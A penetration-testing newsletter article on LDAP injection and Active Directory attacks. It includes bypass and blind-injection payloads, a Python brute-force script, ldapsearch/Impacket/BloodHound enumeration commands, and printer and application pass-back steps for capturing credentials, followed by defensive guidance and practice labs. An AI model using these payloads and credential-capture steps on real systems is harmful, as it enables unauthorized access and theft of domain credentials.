LDAP Injection: Breaking Active Directory Authentication & Enumeration

19 min read

December 28, 2025

🚧 Site Migration Notice

I've recently migrated this site from Ghost CMS to a new Astro-based frontend. While I've worked hard to ensure everything transferred correctly, some articles may contain formatting errors or broken elements.

If you spot any issues, I'd really appreciate it if you could let me know! Your feedback helps improve the site for everyone.

LDAP Injection: Breaking Active Directory Authentication & Enumeration

Table of contents

Contents

👋 Introduction

Hey everyone!

This is the last newsletter of 2025. I hope you’re having great holidays with family and friends. Thanks for following along this year!

It’s been a while since I’ve touched Active Directory topics. The last AD-focused issue was Issue 21 on NTLM Relay back in October. Since then we’ve covered XXE, Docker escapes, prototype pollution, file uploads, and more. But I’ve been missing the Windows world.

Here’s the thing: Active Directory is everywhere in corporate environments. Every pentest involves AD in some form. And while Kerberos attacks and NTLM relay get attention, LDAP often flies under the radar.

LDAP (Lightweight Directory Access Protocol) is the backbone of AD. It’s how applications query users, validate groups, and authenticate. Web apps, VPNs, wikis, ticket systems—they all talk to AD via LDAP.

LDAP injection is like SQL injection’s less famous cousin. Same concept: untrusted input gets concatenated into queries, leading to authentication bypass, information disclosure, and privilege escalation. Developers who carefully parameterize SQL queries sometimes forget LDAP can be exploited the same way.

What makes LDAP injection particularly nasty is that LDAP servers contain everything about your target network. User accounts, password hashes, group memberships, GPOs, trust relationships. If you can manipulate LDAP queries, you can extract sensitive data or bypass authentication entirely.

Beyond injection, LDAP is a goldmine for enumeration. Even without vulnerabilities, you can abuse legitimate LDAP queries to map the entire AD structure. We covered basic AD enumeration in Issue 19, but this time we’re going deep on LDAP-specific attacks.

We’ll also cover pass-back attacks—a clever trick where you redirect LDAP authentication to a server you control, capturing credentials in plaintext. This works against network devices, printers, and enterprise applications.

What we’ll cover:

  • LDAP fundamentals and query syntax
  • Classic and blind LDAP injection techniques
  • Advanced AD enumeration via LDAP queries
  • Pass-back attacks for credential capture
  • Defense strategies and hands-on labs

If you’re testing corporate networks or auditing enterprise applications with LDAP authentication, this is essential knowledge.

Let’s break some directories 👇

🗂️ LDAP Fundamentals

Before we start breaking LDAP, let’s talk about what it is and how it works. If you’re already comfortable with LDAP syntax, skip ahead. But if LDAP queries look like cryptic hieroglyphs, this section is for you.

What is LDAP?

LDAP (Lightweight Directory Access Protocol) is a protocol for accessing and maintaining directory services. Think of it like a phone book for your network. It stores information about users, computers, groups, and other resources in a hierarchical tree structure.

Active Directory uses LDAP as its primary query protocol. When you run net user /domain on Windows, that’s an LDAP query under the hood. When a web app checks if a user belongs to the “Admins” group, that’s LDAP. When you authenticate to a VPN using your domain credentials, that’s LDAP.

LDAP runs on TCP port 389 (unencrypted) or 636 (LDAPS, encrypted with TLS). In AD environments, Domain Controllers listen on both ports.

LDAP Directory Structure

LDAP data is organized in a tree called the Directory Information Tree (DIT). The tree is made up of entries, and each entry has a Distinguished Name (DN) that uniquely identifies it.

Example DN:

CN=John Doe,OU=Users,OU=Corporate,DC=example,DC=com

Breaking it down:

  • CN (Common Name): John Doe
  • OU (Organizational Unit): Users (inside Corporate)
  • DC (Domain Component): example.com

This DN represents a user object named “John Doe” in the “Users” OU of the “Corporate” OU in the example.com domain.

LDAP Queries and Filters

LDAP queries use search filters to find entries. Filters are written in a specific syntax with parentheses and logical operators.

Basic filter examples:

Find all users:

(objectClass=user)

Find a specific user by username:

(sAMAccountName=jdoe)

Find users in a specific group:

(memberOf=CN=Domain Admins,CN=Users,DC=example,DC=com)

Logical operators:

AND (&):

(&(objectClass=user)(sAMAccountName=jdoe))

OR (|):

(|(sAMAccountName=jdoe)(sAMAccountName=admin))

NOT (!):

(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))

(This finds enabled user accounts by filtering out disabled ones)

LDAP Attributes

Every LDAP entry has attributes. In Active Directory, user objects have attributes like:

  • sAMAccountName: Username (e.g., jdoe)
  • userPrincipalName: Email-style login (e.g., [email protected])
  • memberOf: Groups the user belongs to
  • userAccountControl: Account flags (disabled, locked, password expired, etc.)
  • pwdLastSet: When password was last changed
  • adminCount: If set to 1, user is/was a privileged account
  • servicePrincipalName: SPNs for Kerberoasting (covered in Issue 2)

These attributes are what attackers extract during enumeration and what applications query during authentication.

Authentication via LDAP

Here’s how LDAP authentication typically works:

  1. User submits username and password to an application
  2. Application constructs an LDAP query to find the user:
    (&(objectClass=user)(sAMAccountName=USERNAME))
  3. If found, application attempts an LDAP bind operation with the user’s DN and password
  4. If bind succeeds, authentication is successful

This is where LDAP injection comes in. If the application doesn’t sanitize USERNAME, an attacker can manipulate the filter to bypass authentication or extract information.

🔓 LDAP Injection: Authentication Bypass

LDAP injection works like SQL injection. If user input is concatenated directly into LDAP filters without sanitization, attackers can modify the query logic.

Classic Authentication Bypass

Let’s say an application uses this LDAP filter for authentication:

(&(objectClass=user)(sAMAccountName=USERNAME)(userPassword=PASSWORD))

The application expects:

  • Username: jdoe
  • Password: SecureP@ss123

Resulting filter:

(&(objectClass=user)(sAMAccountName=jdoe)(userPassword=SecureP@ss123))

But what if the attacker provides:

  • Username: jdoe)(&))
  • Password: anything

The filter becomes:

(&(objectClass=user)(sAMAccountName=jdoe)(&))(userPassword=anything))

Breaking this down:

  1. (&(objectClass=user)(sAMAccountName=jdoe)(&)) - This is always TRUE
  2. (userPassword=anything)) - This is orphaned and ignored

The query returns the user jdoe without validating the password. Authentication bypassed.

Example: Login Bypass

Imagine a web application with this vulnerable PHP code:

<?php
$username = $_POST['username'];
$password = $_POST['password'];

// VULNERABILITY: Direct concatenation without sanitization
$filter = "(&(objectClass=user)(uid=$username)(userPassword=$password))";

$ldap = ldap_connect("ldap://dc.example.com");
$bind = ldap_bind($ldap, "cn=admin,dc=example,dc=com", "admin_password");
$search = ldap_search($ldap, "dc=example,dc=com", $filter);
$entries = ldap_get_entries($ldap, $search);

if ($entries['count'] > 0) {
    echo "Login successful!";
} else {
    echo "Invalid credentials.";
}
?>

Attack payload:

Username: admin)(&)) Password: (leave empty or anything)

The resulting filter:

(&(objectClass=user)(uid=admin)(&))(userPassword=))

The application searches for any user with uid=admin and the (&) (always true) condition makes the filter match. Password check is bypassed.

Wildcards for Enumeration

LDAP supports wildcards (*). This is useful for enumeration even when you can’t bypass authentication directly.

Example: Extracting usernames

If you control the username field and the app returns different responses for valid vs invalid users, you can enumerate accounts:

Username: a* Result: Returns users starting with ‘a’

Username: admin* Result: Returns users starting with ‘admin’

You can brute-force character by character:

  • a* → success → aa*, ab*, ac*ad* → success → adm* → success → adminfound

OR Injection for Privilege Escalation

If you can inject an OR condition, you can match additional users beyond your own account.

Example:

Imagine the app searches for:

(&(objectClass=user)(sAMAccountName=USERNAME)(memberOf=CN=Standard Users,DC=example,DC=com))

This restricts login to members of “Standard Users” group.

Attack payload:

Username: attacker)(|(memberOf=CN=Domain Admins,DC=example,DC=com))(&(sAMAccountName=

Resulting filter:

(&(objectClass=user)(sAMAccountName=attacker)(|(memberOf=CN=Domain Admins,DC=example,DC=com))(&(sAMAccountName=)(memberOf=CN=Standard Users,DC=example,DC=com))

This modifies the logic to:

  • Find users named attacker OR users in Domain Admins

If the application doesn’t validate group membership server-side, you might escalate privileges.

🕵️ Blind LDAP Injection

Sometimes you can inject into LDAP queries but can’t see the results directly. The application doesn’t display query output, but you can infer information based on timing, errors, or boolean responses (login success vs failure).

This is blind LDAP injection, analogous to blind SQL injection.

Boolean-Based Blind LDAP Injection

If the application behaves differently when a query matches vs doesn’t match, you can extract data one bit at a time.

Scenario:

The app shows “User exists” or “User not found” based on LDAP query results, but doesn’t show the actual data.

Attack technique:

Extract the admin password hash character by character using wildcards.

Example:

Assume the LDAP filter is:

(sAMAccountName=USERNAME)

Payload 1:

(sAMAccountName=admin)(userPassword=a*)

If response is “User exists”, the password starts with a. If not, try b*, c*, etc.

Payload 2:

(sAMAccountName=admin)(userPassword=ab*)

Continue brute-forcing character by character.

Time-Based Blind LDAP Injection

Some LDAP servers (especially AD) have performance differences based on query complexity. By injecting filters that cause the server to process large result sets, you can infer information based on response time.

This is less reliable than boolean-based attacks but can work when you have no other feedback.

Example:

Inject a filter that matches all users:

(sAMAccountName=*)(objectClass=user)

If this causes a delay compared to a filter that matches no users, you can infer the query executed.

Extracting Information with Blind Injection

Let’s say you want to extract the description attribute of the admin user.

Filter construction:

(&(sAMAccountName=admin)(description=A*))

If the response indicates success (login works, or “user found”), the description starts with ‘A’. If not, try ‘B’, ‘C’, etc.

Once you find the first character, move to the second:

(&(sAMAccountName=admin)(description=Aa*))
(&(sAMAccountName=admin)(description=Ab*))

This is tedious, but scriptable.

Tools for Blind LDAP Injection

Manual exploitation is slow. Automate it with scripts.

Python Example (Boolean-Based):

import requests
import string

# Characters to test (alphanumeric + special chars)
charset = string.ascii_letters + string.digits + "_-@."

def test_char(known, char):
    payload = f"admin)(description={known}{char}*"
    response = requests.post("https://target.com/login", data={
        "username": payload,
        "password": "anything"
    })
    # Adjust based on application response
    return "User exists" in response.text

def extract_description():
    known = ""
    while True:
        found = False
        for char in charset:
            if test_char(known, char):
                known += char
                print(f"[+] Found: {known}")
                found = True
                break
        if not found:
            break
    return known

admin_description = extract_description()
print(f"[+] Admin description: {admin_description}")

This script brute-forces the description attribute character by character.

🔍 Advanced AD Enumeration via LDAP

Even without injection vulnerabilities, you can abuse legitimate LDAP queries to map Active Directory. If you have valid domain credentials (even low-privilege), you can query LDAP for sensitive information.

This goes beyond basic enumeration (covered in Issue 19) and focuses on LDAP-specific techniques.

Authenticated LDAP Queries

Once you have credentials (via phishing, password spraying, or compromising a workstation), you can bind to LDAP and run queries.

Using ldapsearch (Linux):

ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(objectClass=user)"

Flags:

  • -x: Simple authentication
  • -H: LDAP server
  • -D: Bind DN (your user)
  • -w: Password
  • -b: Base DN (search root)
  • Filter: (objectClass=user)

This dumps all user objects in the domain.

Enumerating High-Value Targets

Find Domain Admins:

ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(memberOf=CN=Domain Admins,CN=Users,DC=example,DC=com)" sAMAccountName

This lists all members of the “Domain Admins” group.

Find users with adminCount=1:

ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(adminCount=1)" sAMAccountName

Users with adminCount=1 are (or were) members of protected groups like Domain Admins, Enterprise Admins, or Administrators. Even if they’re no longer in those groups, they often retain elevated privileges due to misconfigured ACLs.

Find accounts with SPNs (Kerberoastable):

ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

This identifies accounts vulnerable to Kerberoasting (covered in Issue 2).

Find computers:

ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(objectClass=computer)" dNSHostName operatingSystem

This lists all domain-joined computers with their OS version (useful for targeting outdated systems).

Extracting Password Policy

LDAP can reveal the domain password policy without privileged access:

ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(objectClass=domain)" minPwdLength maxPwdAge lockoutThreshold

Attributes:

  • minPwdLength: Minimum password length
  • maxPwdAge: Password expiration time
  • lockoutThreshold: Failed login attempts before lockout

This tells you how complex passwords need to be and helps avoid account lockouts during password spraying.

Finding Privileged Groups

Besides “Domain Admins”, there are other high-value groups:

ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(|(cn=Enterprise Admins)(cn=Schema Admins)(cn=Account Operators)(cn=Backup Operators))" member

This lists members of multiple privileged groups in one query.

Identifying Delegation

Unconstrained Delegation (very dangerous):

ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dNSHostName

Computers with unconstrained delegation can impersonate any user. If you compromise one of these systems, you can capture TGTs and impersonate domain admins.

Constrained Delegation:

ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo

This finds accounts with constrained delegation configured.

Extracting Descriptions and Comments

Admins sometimes put sensitive info in user descriptions:

ldapsearch -x -H ldap://dc.example.com -D "CN=John Doe,CN=Users,DC=example,DC=com" -w 'password' -b "DC=example,DC=com" "(objectClass=user)" sAMAccountName description

Look for things like:

  • “Default password: Summer2024”
  • “Backup account - pwd never expires”
  • “Service account for SQL - check vault”

I’ve seen this more times than I care to admit.

Scripting LDAP Enumeration

Manual queries are tedious. Automate with ldapdomaindump:

ldapdomaindump -u 'example.com\jdoe' -p 'password' dc.example.com -o /tmp/ldap_dump

This creates HTML and JSON files with:

  • Users
  • Groups
  • Computers
  • Trusts
  • GPOs

It’s like running all the queries above in one command.

🎣 Pass-Back Attacks

Pass-back attacks exploit devices and applications that support LDAP authentication. The idea: change the LDAP server configuration to point to an attacker-controlled server, then trigger an authentication attempt. The device sends credentials to your server instead of the real LDAP server.

This works against:

  • Network printers with LDAP/SMB authentication
  • Enterprise applications (wikis, ticketing systems)
  • Network devices (routers, switches with LDAP auth)
  • Embedded systems with LDAP configuration

How It Works

  1. Access the device’s configuration (web interface, SNMP, default creds)
  2. Change LDAP server address to your IP
  3. Trigger authentication (print a test page, login attempt, etc.)
  4. Device sends credentials to your fake LDAP server
  5. Capture plaintext credentials

Example: Printer Pass-Back

Many network printers support “Scan to Folder” features that authenticate to network shares via LDAP.

Attack steps:

  1. Access printer web interface (often no password, or default admin/admin)
  2. Navigate to LDAP/Network settings
  3. Change LDAP server to attacker IP: 10.10.14.5
  4. Leave credentials fields as-is (they contain service account creds)
  5. Save and trigger a scan

The printer attempts to authenticate to your IP with the configured credentials.

Capture with Responder:

sudo responder -I eth0 -v

Responder listens for LDAP, SMB, HTTP authentication attempts and captures credentials.

Or set up a fake LDAP server:

# Simple LDAP server that logs authentication attempts
sudo apt install slapd

Configure slapd to log bind attempts, or use a Python script:

from ldap3 import Server, Connection, ALL

def fake_ldap_server():
    server = Server('0.0.0.0', port=389, get_info=ALL)
    # Log incoming bind attempts
    # (Simplified - real implementation needs socket handling)
    print("[+] Fake LDAP server listening on port 389")

fake_ldap_server()

Example: Application Pass-Back

Many enterprise apps (Jira, Confluence, GitLab, etc.) support LDAP authentication.

If you compromise an admin account on the app (or find default creds), you can:

  1. Navigate to LDAP configuration
  2. Change LDAP server to your IP
  3. Change LDAP bind DN to a high-privilege account (e.g., CN=ldapbind,CN=Users,DC=example,DC=com)
  4. Leave password field populated (app stores it)
  5. Save settings
  6. Trigger LDAP sync or test connection

The app sends the bind credentials to your server.

Defensive Considerations

Why does this work?

  • Devices store credentials in plaintext or reversible encryption
  • LDAP authentication uses plaintext passwords during bind (unless LDAPS)
  • Many devices trust network configuration without validation

Mitigations:

  • Use LDAPS (LDAP over TLS) to encrypt credentials in transit
  • Restrict access to device configuration interfaces
  • Use least-privilege service accounts for LDAP binds
  • Monitor for LDAP authentication to external IPs

🛠️ Tools for LDAP Exploitation

Here are the essential tools for LDAP injection and enumeration:

Enumeration Tools

ldapsearch (Built-in on Linux)

ldapsearch -x -H ldap://dc.example.com -D "[email protected]" -w 'password' -b "DC=example,DC=com" "(objectClass=user)"

ldapdomaindump (Automated enumeration)

pip install ldapdomaindump
ldapdomaindump -u 'example.com\user' -p 'password' dc.example.com

Windapsearch (Windows-focused LDAP queries)

python3 windapsearch.py -d example.com -u user -p password --dc-ip 10.10.10.10 -m users

Options:

  • -m users: Enumerate users
  • -m groups: Enumerate groups
  • -m computers: Enumerate computers
  • -m privileged-users: Find admin accounts

BloodHound (Graph-based AD analysis)

While BloodHound uses multiple protocols (LDAP, SMB, etc.), it heavily relies on LDAP for enumeration.

bloodhound-python -u user -p password -d example.com -dc dc.example.com -c all

Import JSON files into BloodHound GUI to visualize attack paths.

Credential Capture

Responder (LLMNR/NBT-NS/LDAP poisoning)

sudo responder -I eth0 -v

Captures authentication attempts including LDAP.

Impacket (Python SMB/LDAP tools)

# LDAP enumeration
python3 GetADUsers.py -all example.com/user:password -dc-ip 10.10.10.10

# Kerberoasting via LDAP
python3 GetUserSPNs.py example.com/user:password -dc-ip 10.10.10.10 -request

Custom Scripts

For blind LDAP injection, write custom Python scripts using ldap3:

from ldap3 import Server, Connection, ALL

server = Server('dc.example.com', get_info=ALL)
conn = Connection(server, user='example.com\\user', password='password', auto_bind=True)

# Custom LDAP query
conn.search('DC=example,DC=com', '(sAMAccountName=admin)', attributes=['description'])

for entry in conn.entries:
    print(entry)

🛡️ Defense and Mitigations

LDAP injection and enumeration abuse are preventable. Here’s how to defend against these attacks:

Preventing LDAP Injection

1. Use Parameterized Queries

Never concatenate user input into LDAP filters. Use parameterized queries or library functions that handle escaping.

Bad (Vulnerable):

$filter = "(&(objectClass=user)(uid=$username))";

Good (Secure):

// Use ldap_escape() in PHP
$username = ldap_escape($_POST['username'], "", LDAP_ESCAPE_FILTER);
$filter = "(&(objectClass=user)(uid=$username))";

2. Input Validation

Restrict input to expected characters. For usernames, allow only alphanumeric and limited special characters:

import re

def validate_username(username):
    if not re.match(r'^[a-zA-Z0-9._-]+$', username):
        raise ValueError("Invalid username")
    return username

3. Escape Special Characters

Escape LDAP special characters: * ( ) \ NUL

Most LDAP libraries provide escaping functions:

  • PHP: ldap_escape()
  • Python (ldap3): Use parameterized searches
  • Java: LdapName.escapeAttributeValue()

Hardening LDAP Configuration

1. Use LDAPS (LDAP over TLS)

Always encrypt LDAP traffic to prevent credential interception:

# Force LDAPS on Domain Controllers
# Disable LDAP on port 389, require port 636 only

2. Require Signing and Channel Binding

Enable LDAP signing to prevent tampering and relay attacks:

Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options
→ Domain controller: LDAP server signing requirements → Require signing

3. Restrict Anonymous LDAP Binds

Disable anonymous access to LDAP:

Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options
→ Network access: Allow anonymous SID/Name translation → Disabled

4. Limit LDAP Query Results

Configure query result size limits to prevent large enumeration dumps:

MaxPageSize = 1000  # Limit results per query

Monitoring and Detection

1. Log LDAP Authentication Failures

Enable Event ID 2889 (LDAP signing not required) and 2887 (unsigned LDAP binds):

# Enable LDAP diagnostic logging
reg add "HKLM\System\CurrentControlSet\Services\NTDS\Diagnostics" /v "16 LDAP Interface Events" /t REG_DWORD /d 2

2. Monitor for LDAP Enumeration

Alert on:

  • Large numbers of LDAP queries from a single source
  • Queries for sensitive attributes (adminCount, memberOf, servicePrincipalName)
  • LDAP binds from external IPs (pass-back attacks)

3. Honeypot Accounts

Create fake high-privilege accounts with monitoring:

New-ADUser -Name "admin_backup" -Description "Honeypot account" -Enabled $true

Alert when this account is queried or authentication is attempted.

🧪 Labs and Practice

Here are resources to practice LDAP injection and AD enumeration:

Vulnerable Applications

bWAPP (Buggy Web Application) Includes LDAP Injection (Search) module under A1 - Injection category. http://www.itsecgames.com/

PentesterLab LDAP Exercises Two dedicated exercises: LDAP 01 (NULL Bind) and LDAP 02 (Injection exploitation). Part of the Essential Badge. https://pentesterlab.com/exercises/ldap_01 https://pentesterlab.com/exercises/ldap_02

Active Directory Labs

HackTheBox Machines with LDAP enumeration and exploitation:

  • Forest (Easy): LDAP enumeration, AS-REP Roasting
  • Sauna (Easy): LDAP enumeration, Kerberoasting
  • Resolute (Medium): LDAP enumeration, privilege escalation

TryHackMe LDAP Injection room (Premium): https://tryhackme.com/r/room/ldapinjection

Active Directory Basics room: https://tryhackme.com/room/winadbasics

Attacktive Directory room: https://tryhackme.com/room/attacktivedirectory

HackTheBox Academy Injection Attacks course (includes LDAP injection module): https://academy.hackthebox.com/course/preview/injection-attacks

Build Your Own Lab

Set up a local AD lab with vulnerable LDAP configurations:

Requirements:

  • Windows Server (Domain Controller)
  • Windows 10/11 (Domain-joined workstation)
  • Kali Linux (Attacker machine)

Setup steps:

  1. Install Windows Server and promote to DC
  2. Create users, groups, and apply weak LDAP configurations
  3. Deploy a vulnerable web app with LDAP authentication (or use DVWA)
  4. Practice enumeration with ldapsearch, ldapdomaindump, BloodHound
  5. Test LDAP injection payloads

Automation:

Use GOAD (Game of Active Directory) for automated vulnerable AD lab deployment:

git clone https://github.com/Orange-Cyberdefense/GOAD
cd GOAD
vagrant up

This creates a multi-domain AD forest with intentional misconfigurations.

HackTricks - LDAP Injection Comprehensive guide on LDAP injection techniques and blind LDAP exploitation. https://book.hacktricks.xyz/pentesting-web/ldap-injection

HackTricks - Pentesting LDAP Guide on pentesting LDAP services (ports 389, 636, 3268, 3269). https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap

OWASP - LDAP Injection Overview of LDAP injection attacks and exploitation techniques. https://owasp.org/www-community/attacks/LDAP_Injection

OWASP - LDAP Injection Prevention Cheat Sheet Best practices for preventing LDAP injection vulnerabilities. https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html

OWASP Testing Guide - LDAP Injection Testing methodology for identifying LDAP injection vulnerabilities. https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection

Active Directory Security Blog (ADSecurity.org) In-depth Active Directory security research and attack techniques. https://adsecurity.org/

🎯 Wrapping Up

LDAP injection is one of those vulnerabilities that’s less talked about than SQL injection or XSS, but just as dangerous when you find it. It can lead to authentication bypass, information disclosure, and privilege escalation in one shot. And because LDAP is the backbone of Active Directory, the impact is often domain-wide.

Beyond injection, LDAP enumeration with valid credentials is a goldmine. You can map the entire domain, identify privilege escalation paths, and find high-value targets, all through legitimate LDAP queries. Pass-back attacks add another layer, turning LDAP configuration access into credential harvesting.

The key takeaways:

For attackers:

  • Test LDAP authentication fields for injection with *, )(, and logical operators
  • Use blind injection techniques when direct output isn’t visible
  • Enumerate AD via LDAP with tools like ldapsearch, ldapdomaindump, and BloodHound
  • Look for pass-back opportunities in printers, apps, and network devices

For defenders:

  • Parameterize LDAP queries and escape user input
  • Use LDAPS to encrypt credentials in transit
  • Restrict anonymous LDAP binds and enforce signing
  • Monitor for large-scale LDAP enumeration and authentication to external IPs
  • Deploy honeypot accounts to detect enumeration attempts

If you’re pentesting corporate environments, LDAP should be on your checklist alongside Kerberos and NTLM attacks. It’s often overlooked, which makes it a perfect target.

Next issue, we’ll likely shift back to web or cloud topics. But for now, go break some directories.

Until next time, Ruben

Chapters

iOS Security Testing: From IPA Analysis to Runtime Manipulation
iOS Security Testing: From IPA Analysis to Runtime Manipulation

Previous Issue

Enjoyed the article?

Stay Updated & Support

Get the latest offensive security insights, hacking techniques, and cybersecurity content delivered straight to your inbox.

Follow me on social media